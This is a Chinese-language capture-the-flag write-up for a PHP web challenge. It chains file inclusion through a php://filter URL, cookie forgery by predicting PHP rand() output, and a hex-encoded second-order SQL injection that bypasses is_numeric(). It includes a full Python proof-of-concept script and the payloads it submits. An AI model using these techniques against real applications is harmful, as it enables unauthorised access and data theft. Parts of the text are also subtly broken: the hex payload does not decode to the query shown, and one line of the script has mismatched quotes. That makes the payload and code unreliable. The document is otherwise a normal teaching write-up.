

writeup

由于我本地的环境问题,所以就把题目放到我的服务器上进行测试.

获取本题目的flag总共需要三个步骤

1. 发现LFI漏洞,利用lfi获得题目源码,进行代码审计
2. 利用php的rand()函数缺陷,伪造cookie,进入后台
3. 利用二次注入,绕过is_numeric函数获取flag

1.获取题目源代码

注册一个用户登陆之后,发现管理员发了一条笔记,里面有个提示.

新建笔记

title	content	delete
测试笔记	这是管理员发布的测试笔记,个人无法删除(hint:/dbinit.sql)	delete

下载下来 dbinit.sql,是数据库初始化文件,里面有flag表.

```
26
27 drop table if exists `flags`;
28
29 create table `flags` (
30
31     `id` tinyint not null primary key ,
32     `flag` varchar(50) not null
33 )ENGINE=InnoDB DEFAULT CHARSET=utf8;
34
```

这就说明,flag在数据库中,此题很有可能是sql注入(希望你没有被这里的提示带偏).

看一下题目的url

1.	<code>http://127.0.0.1/web500/index.php?action=front&mode=index</code>
2.	<code>http://127.0.0.1/web500/index.php?action=front&mode=newnote</code>
3.	<code>http://127.0.0.1/web500/index.php?action=front&mode=delete</code>

发现index.php是入口文件

尝试去访问

1.	<code>http://127.0.0.1/web500/front/index.php</code>
2.	<code>http://127.0.0.1/web500/front/delete.php</code>



Permission denied!

所以猜想后台可能是这样写的: `include $action.'/'.$mode.'.php'`

利用文件包含获取源码:

1.	<code>http://127.0.0.1/web500/index.php?action=php://filter/read=convert.base64-encode/resource=../&mode=index</code>
----	---

2.代码审计

主要看后台的登陆过程:

```

19  if($row['id']){
20
21      set_login($uname,$row['id'],$row['level']);
22
23      header("Location: ../index.php?action=admin&mode=index");
24      exit();
25  }else{
26
27      echo("<script>alert('username or password error!')</script>");
28  }
29
30  }

```

看一下set_login函数

```

49  function encode($str){
50      return md5($_SESSION['SECURITY_KEY'].$str);
51
52  }
53
54  function set_login($uname,$id,$level){
55      $_SESSION['userid']=$id;
56      $_SESSION['level']=$level;
57
58      $endata=encode($uname);
59      setcookie("uid","$uname|$endata");
60
61  }
62

```

这里设置了cookies和session,cookie是 admin|md5(SEcurity_KEY+' admin'),其中SECURITY_KEY是6位随机数.
在来看后台的验证登陆过程:

```

6  $userid=check_login();
7  $level=get_level();
8
9  if($userid!==false&&$level!==false){
10
11      $page_size=get_page_size();
12      //默认仅仅显示 前$page_size条数据
13      $sql="select * from note limit 0, ".$page_size;
14      $result=mysql_my_query($sql);
15
16      set_page_size(); #设置default page size
17
18  }else{
19
20
21      echo "<script>alert('not login!')</script>";
22      echo("<script>location.href='../index.php?action=admin&mode=login'</script>");
23      die();
24
25      // $result=mysql_my_query($sql);
26  }

```

主要看下面两个函数:

```

63 function check_login(){
64
65     $uid=$_COOKIE['uid'];
66     $userinfo=explode("|",$uid);
67
68     if($userinfo[0]&&$userinfo[1]&&$userinfo[1]==encode($userinfo[0])){
69         return $_SESSION['userid'];
70
71     }else{
72
73         return FALSE;
74     }
75 }
76
77 function get_level(){
78     $uid=$_COOKIE['uid'];
79     $userinfo=explode("|",$uid);
80     if($userinfo[0]&&$userinfo[1]&&$userinfo[1]==encode($userinfo[0])){
81         if($_SESSION['level']!="0"){
82             return $_SESSION['level'];
83         }else{
84             return FALSE;
85         }
86     }else{
87         return FALSE;
88     }
89
90 }

```

这两个函数返回用户的userid和level,如果cookie验证失败,则userid为false,level如果是0,也会返回false

但是如果我没有登陆,而且绕过了cookie的验证过程,那么 `$_SESSION['userid']`和`$_SESSION['level']` 的默认初始值都是null,

在php中, `null !== false` 是返回true的,所以我们只要能够伪造cookie,就可以绕过这里的验证

```

if($userid!==false&&$level!==false){

    $page_size=get_page_size();
    //默认仅仅显示 前$page_size条数据
    $sql="select * from note limit 0, ".$page_size;
    $result=mysql_my_query($sql);

    set_page_size(); #设置default page size

}else{

```

然后进入后台.

接下来就要看生成cookie至关重要的值 `$_SESSION['SECURITY_KEY']` 的产生过程:

```

5 function rand_str($lenth=16){
6     $rand=[];
7     $_str='qwertyuiopasdfghjklzxcvbnm0123456789QWERTYUIOPASDFGHJKLZXCVCBNM';
8     while($lenth){
9         $rand[]=$_str[rand(0,strlen($_str)-1)];
10        $lenth--;
11    }
12    // var_dump($rand);
13
14    return implode($rand);
15 }
16
17 // echo rand_str();
18
19 if(!isset($_SESSION['SECURITY_KEY'])){
20
21     $_SESSION['SECURITY_KEY']=rand_str(6);
22 }
23
24 if(!isset($_SESSION['CSRF_TOKEN'])){
25     $_SESSION['CSRF_TOKEN']=rand_str(16);
26 }
27

```

当用户一访问,就会分配6位的SECURITY_KEY和16位的CSRF_TOKEN,两个都是随机字符串.

但是php中调用rand()之前,不调用srand()函数,会有一些安全问题:

参考

1. <http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/>

得知产生的随机数 $a[i]=a[i-3]+a[i-31]$

所以只需要产生32位随机数,那么第三十三位就可以用这个公式预测啦

可以产生两次随机数,得到如下结果:

```

5
6 a[0]~a[5] 未知 a[6]~a[21] 已知 a[22]~a[27] 未知 a[28]~a[43] 已知 a[44]~a[49] 未知 |
7

```

$a[44]=a[41]+a[13]$ 可以预测出来.

这样就可以直接预测出a[44]-a[49]位,然后就可以伪造cookie啦.

python的poc如下:

```

1.  #!/usr/bin/env python
2.  #coding:utf-8
3.
4.
5.  import requests
6.  import re
7.  import itertools
8.  import random
9.  import string
10. import hmac
11. import hashlib
12. import sys
13.
14. rand = 'qwertyuiopasdfghjklzxcvbnm0123456789QWERTYUIOPASDFGHJKLZXCVCBNM'
15. get_token = "http://127.0.0.1/web500/index.php?action=admin&mode=login"
16. test_cookie="http://127.0.0.1/web500/index.php?action=admin&mode=index"
17.
18.
19. def get_csrf_token(res):
20.     rex = re.search(r'\S*<input type="hidden" name="TOKEN" id="password" value="(\w*)">', res.content)
21.     return rex.group(1)
22.
23.
24. def str_to_random(lst):
25.     return [rand.find(s) for s in lst]

```

```

26.
27. def random_to_str(lst):
28.     return ''.join([rand[i] if 0 <= i < len(rand) else '0' for i in lst])
29.
30. def calc_key(lst):
31.     for i in range(len(lst), len(lst) + 6):
32.         assert(lst[i - 31] != -1)
33.         assert(lst[i - 3] != -1)
34.         lst.append((lst[i - 31] + lst[i - 3]) % len(rand))
35.     return lst[-6:]
36.
37. def test_token(s, screat, phpsessionid):
38.
39.     # _cookie=s.cookies
40.     # requests.utils.add_dict_to_cookiejar(_cookie, {"uid": "admin%7c"+hash_hmac(screat)})
41.
42.     s.headers['cookie']=""
43.     s.headers['Cookie']="uid=admin%7c"+hash_hmac(screat)+" "; "+phpsessionid
44.
45.
46.     res=s.get(test_cookie)
47.     if res.content.find("not login")<0:
48.         print "key", screat
49.         print "cookies", s.headers['Cookie']
50.
51.         return True
52.     else:
53.         print "key:", screat, "failed!"
54.         return False
55.
56.
57. def hash_hmac(data):
58.     hash=hashlib.md5()
59.     hash.update(data+"admin")
60.     # h = hmac.new(key, data, hashlib.md5)
61.     return hash.hexdigest()
62.
63. def rand_str(length):
64.     return ''.join(random.choice(string.letters + string.digits) for _ in range(length))
65.
66. def calc_maybe(lst):
67.     prd = []
68.     for i in lst:
69.         prd.append((i, i+1))
70.     return itertools.product(*prd)
71.
72.
73. rand_lst = []
74. s = requests.session();
75. s.headers = {
76.     "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) "
77.     "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51"
78.     ".0.2704.63 Safari/537.36"
79. }
80.
81. for i in range(2):
82.     s.headers['Cookie'] = "PHPSESSID={};".format(rand_str(12))
83.     res = s.get(get_token)
84.     token = get_csrf_token(res)
85.     rand_lst += list("\x00" * 6)
86.     rand_lst += list(token)
87.
88. #print(rand_lst)
89. rand_lst = str_to_random(rand_lst)
90.
91. print rand_lst
92.
93. key_arr = calc_key(rand_lst)
94. print("[calc key] ", key_arr)
95.
96. #第三次发送请求, 并保存session
97. s.headers['Cookie'] = "PHPSESSID={};".format(rand_str(26))
98. phpsessionid=s.headers['Cookie']
99.
100. for fkey in calc_maybe(key_arr):

```



```
101.     if test_token(s, random_to_str(fkey),phpsessionid):
102.         break
```

运行之后会获得一个可用的cookie和session. (由于是猜,所以多试几次才会成功)

```
wonderkun@wonderkun-pc: /var/www/html/web500$ python poc.py
[-1, -1, -1, -1, -1, -1, 20, 6, 16, 45, 17, 26, 14, 21, 4, 33, 46, 27, 51, 1, 13, 23, -1, -1, -1, -1, -1, -1, 8, 28, 54, 16, 36, 15, 57, 46, 58, 16, 53, 12, 61, 9, 39, 14]
['[calc key] ', [30, 43, 47, 14, 8, 36]]
key: 4ISgo0 failed!
key: 4ISgoW failed!
key: 4ISgp0 failed!
key 4ISgpW
cookies uid=admin%7c4c4fc7b0b10d514c4e1c25f8775085a9; PHPSESSID=nmdfvDmSxjeNF0jEcnLT9dUEV1;
wonderkun@wonderkun-pc: /var/www/html/web500$
```

然后,进后台.

3.利用后台的二次注入拿到flag.

登陆后台之后,发现了setpagenum.php,审计之,发现:

```
14
15         if(!is_numeric($page)){
16             die("page must be a number!");
17         }
18         if($page<1) $page=1;
19
20         $sql="update page set num=$page";
21         $res=mysql_my_query($sql);
22         if($res){
23             echo "<script>alert('update success!');</script>";
24             echo("<script>location.href='./index.php?action=admin&mode=index'</script>");
25
```

page参数虽然没有经过单引号包裹,但是经过了 is_numeric()检查,导致无法注入.

但是看到index.php中:

```
9     if($userid!==false&&$level!==false){
10
11         $page_size=get_page_size();
12         //默认仅仅显示 前$page_size条数据
13         $sql="select * from note limit 0, ".$page_size;
14         $result=mysql_my_query($sql);
15
16         set_page_size(); #设置default page size
17
```

page_size直接放入sql语句中进行查询,如果可以控制page_size,则这里就存在注入.

但是好像page_size在代码中设置了仅仅可以是整型,并没有办法注入,真的是这样吗?

看一下最开始下载的文件 dbinit.sql

```
22     create table `page` (
23         `num` varchar not null
24     )ENGINE=InnoDB DEFAULT CHARSET=utf8;
25
```

num竟然是varchar型的,典型的数据库和代码不一致.

接下来就要利用 php 5.x版本中 is_numeric的缺陷(PHP 7.0已经修复了), 它认为 0x...是整数

```
wonderkun@wonderkun-pc: /var/www/html/web500$ python
Python 2.7.12+ (default, Aug 4 2016, 20:04:34)
[GCC 6.1.1 20160724] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import binascii
>>> a="1 union all select flag,flag,flag,flag from flags"
>>> binascii.hexlify(a)
'3120756e69666e20616c6c202073656c65637420666c61672c666c61672c666c61672c666c616720667266d20666c616773'
>>>
```

提交page为:

0x3120756e69666e20616c6c202073656c65637420666c61672c666c61672c666c61672c666c616720667266d20666c616773

get flag.

user	title	content
admin	测试笔记	这是管理员发布的测试笔记,个人无法删除(hint:/dbinit.sql)
	CTF[945ad55928c3e9773c7y3cf2cf02cddb]	CTF[945ad55928c3e9773c7y3cf2cf02cddb]

